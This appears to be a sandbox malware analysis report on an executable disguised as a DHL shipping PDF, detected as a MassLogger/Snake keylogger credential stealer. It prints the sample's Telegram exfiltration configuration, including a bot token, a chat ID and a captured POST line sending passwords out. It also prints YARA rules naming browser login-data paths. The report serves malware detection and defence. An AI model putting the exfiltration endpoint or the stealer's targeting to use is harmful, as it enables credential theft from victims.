Edit tour

Windows Analysis Report
DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Overview

General Information

Sample name:	DHL Shipping Details Ref ID 446331798008765975594-pdf.exe
Analysis ID:	1629834
MD5:	d45fff48d75acf82385ac74580662c30
SHA1:	98da0ec9c1e4704ca3fe62b9d29396b874f8fa30
SHA256:	e6a62cde2fa594e289dfdd4247f068ae5dc523174646615b312a20af28e90487
Tags:	DHLexeuser-abuse_ch
Infos:

Detection

MSIL Logger, MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected MSIL Logger

Yara detected MassLogger RAT

Yara detected Telegram RAT

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

DHL Shipping Details Ref ID 446331798008765975594-pdf.exe (PID: 6716 cmdline: "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe" MD5: D45FFF48D75ACF82385AC74580662C30)

DHL Shipping Details Ref ID 446331798008765975594-pdf.exe (PID: 4552 cmdline: "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe" MD5: D45FFF48D75ACF82385AC74580662C30)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0", "Telegram Chatid": "7319393351"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2754f:$a1: get_encryptedPassword 0x27877:$a2: get_encryptedUsername 0x272ea:$a3: get_timePasswordChanged 0x2740b:$a4: get_passwordField 0x27565:$a5: set_encryptedPassword 0x28ec1:$a7: get_logins 0x28b72:$a8: GetOutlookPasswords 0x28964:$a9: StartKeylogger 0x28e11:$a10: KeyLoggerEventArgs 0x289c1:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xefb7:$a1: get_encryptedPassword 0xf2df:$a2: get_encryptedUsername 0xed52:$a3: get_timePasswordChanged 0xee73:$a4: get_passwordField 0xefcd:$a5: set_encryptedPassword 0x10929:$a7: get_logins 0x105da:$a8: GetOutlookPasswords 0x103cc:$a9: StartKeylogger 0x10879:$a10: KeyLoggerEventArgs 0x10429:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x725cf:$a1: get_encryptedPassword 0x891ef:$a1: get_encryptedPassword 0x728f7:$a2: get_encryptedUsername 0x89517:$a2: get_encryptedUsername 0x7236a:$a3: get_timePasswordChanged 0x88f8a:$a3: get_timePasswordChanged 0x7248b:$a4: get_passwordField 0x890ab:$a4: get_passwordField 0x725e5:$a5: set_encryptedPassword 0x89205:$a5: set_encryptedPassword 0x73f41:$a7: get_logins 0x8ab61:$a7: get_logins 0x73bf2:$a8: GetOutlookPasswords 0x8a812:$a8: GetOutlookPasswords 0x739e4:$a9: StartKeylogger 0x8a604:$a9: StartKeylogger 0x73e91:$a10: KeyLoggerEventArgs 0x8aab1:$a10: KeyLoggerEventArgs 0x73a41:$a11: KeyLoggerEventArgsEventHandler 0x8a661:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x239b8:$a1: get_encryptedPassword 0x48fa0:$a1: get_encryptedPassword 0x23cd1:$a2: get_encryptedUsername 0x492b9:$a2: get_encryptedUsername 0x23767:$a3: get_timePasswordChanged 0x48d4f:$a3: get_timePasswordChanged 0x23888:$a4: get_passwordField 0x48e70:$a4: get_passwordField 0x239ce:$a5: set_encryptedPassword 0x48fb6:$a5: set_encryptedPassword 0x252d1:$a7: get_logins 0x4a8b9:$a7: get_logins 0x24f82:$a8: GetOutlookPasswords 0x4a56a:$a8: GetOutlookPasswords 0x24d74:$a9: StartKeylogger 0x4a35c:$a9: StartKeylogger 0x25221:$a10: KeyLoggerEventArgs 0x4a809:$a10: KeyLoggerEventArgs 0x24dd1:$a11: KeyLoggerEventArgsEventHandler 0x4a3b9:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x38c90:$a1: get_encryptedPassword 0x38fa9:$a2: get_encryptedUsername 0x38a3f:$a3: get_timePasswordChanged 0x38b60:$a4: get_passwordField 0x38ca6:$a5: set_encryptedPassword 0x3a5a9:$a7: get_logins 0x3a25a:$a8: GetOutlookPasswords 0x3a04c:$a9: StartKeylogger 0x3a4f9:$a10: KeyLoggerEventArgs 0x3a0a9:$a11: KeyLoggerEventArgsEventHandler
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data
3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler
3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14163:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13661:$a3: \Google\Chrome\User Data\Default\Login Data 0x1396f:$a4: \Orbitum\User Data\Default\Login Data 0x14767:$a5: \Kometa\User Data\Default\Login Data
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3b7:$a1: get_encryptedPassword 0xd6df:$a2: get_encryptedUsername 0xd152:$a3: get_timePasswordChanged 0xd273:$a4: get_passwordField 0xd3cd:$a5: set_encryptedPassword 0xed29:$a7: get_logins 0xe9da:$a8: GetOutlookPasswords 0xe7cc:$a9: StartKeylogger 0xec79:$a10: KeyLoggerEventArgs 0xe829:$a11: KeyLoggerEventArgsEventHandler
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12363:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11861:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b6f:$a4: \Orbitum\User Data\Default\Login Data 0x12967:$a5: \Kometa\User Data\Default\Login Data
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3b7:$a1: get_encryptedPassword 0xd6df:$a2: get_encryptedUsername 0xd152:$a3: get_timePasswordChanged 0xd273:$a4: get_passwordField 0xd3cd:$a5: set_encryptedPassword 0xed29:$a7: get_logins 0xe9da:$a8: GetOutlookPasswords 0xe7cc:$a9: StartKeylogger 0xec79:$a10: KeyLoggerEventArgs 0xe829:$a11: KeyLoggerEventArgsEventHandler
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12363:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11861:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b6f:$a4: \Orbitum\User Data\Default\Login Data 0x12967:$a5: \Kometa\User Data\Default\Login Data
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1b7:$a1: get_encryptedPassword 0x25dd7:$a1: get_encryptedPassword 0xf4df:$a2: get_encryptedUsername 0x260ff:$a2: get_encryptedUsername 0xef52:$a3: get_timePasswordChanged 0x25b72:$a3: get_timePasswordChanged 0xf073:$a4: get_passwordField 0x25c93:$a4: get_passwordField 0xf1cd:$a5: set_encryptedPassword 0x25ded:$a5: set_encryptedPassword 0x10b29:$a7: get_logins 0x27749:$a7: get_logins 0x107da:$a8: GetOutlookPasswords 0x273fa:$a8: GetOutlookPasswords 0x105cc:$a9: StartKeylogger 0x271ec:$a9: StartKeylogger 0x10a79:$a10: KeyLoggerEventArgs 0x27699:$a10: KeyLoggerEventArgs 0x10629:$a11: KeyLoggerEventArgsEventHandler 0x27249:$a11: KeyLoggerEventArgsEventHandler
Click to see the 24 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-05T08:34:34.496110+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.6	49733	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-05T08:34:26.959962+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49711	132.226.8.169	80	TCP
2025-03-05T08:34:33.413202+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49711	132.226.8.169	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-05T08:34:34.064553+0100	1810008	1	Potentially Bad Traffic	192.168.2.6	49733	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendDocument?chat_id=7319393351&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd5b8e42c46e6eHost: api.telegram.orgContent-Length: 1088Connection: Keep-Alive

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendDocument?chat_id=7319
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189d
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4571874114.0000000002F5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49733 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, UltraSpeed.cs	.Net Code: VKCodeToUnicode
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, UltraSpeed.cs	.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0706618C	0_2_0706618C
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_070673A8	0_2_070673A8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0706617D	0_2_0706617D
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_071464DE	0_2_071464DE
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0714A6A8	0_2_0714A6A8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_07149408	0_2_07149408
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_07148FD0	0_2_07148FD0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_07148B98	0_2_07148B98
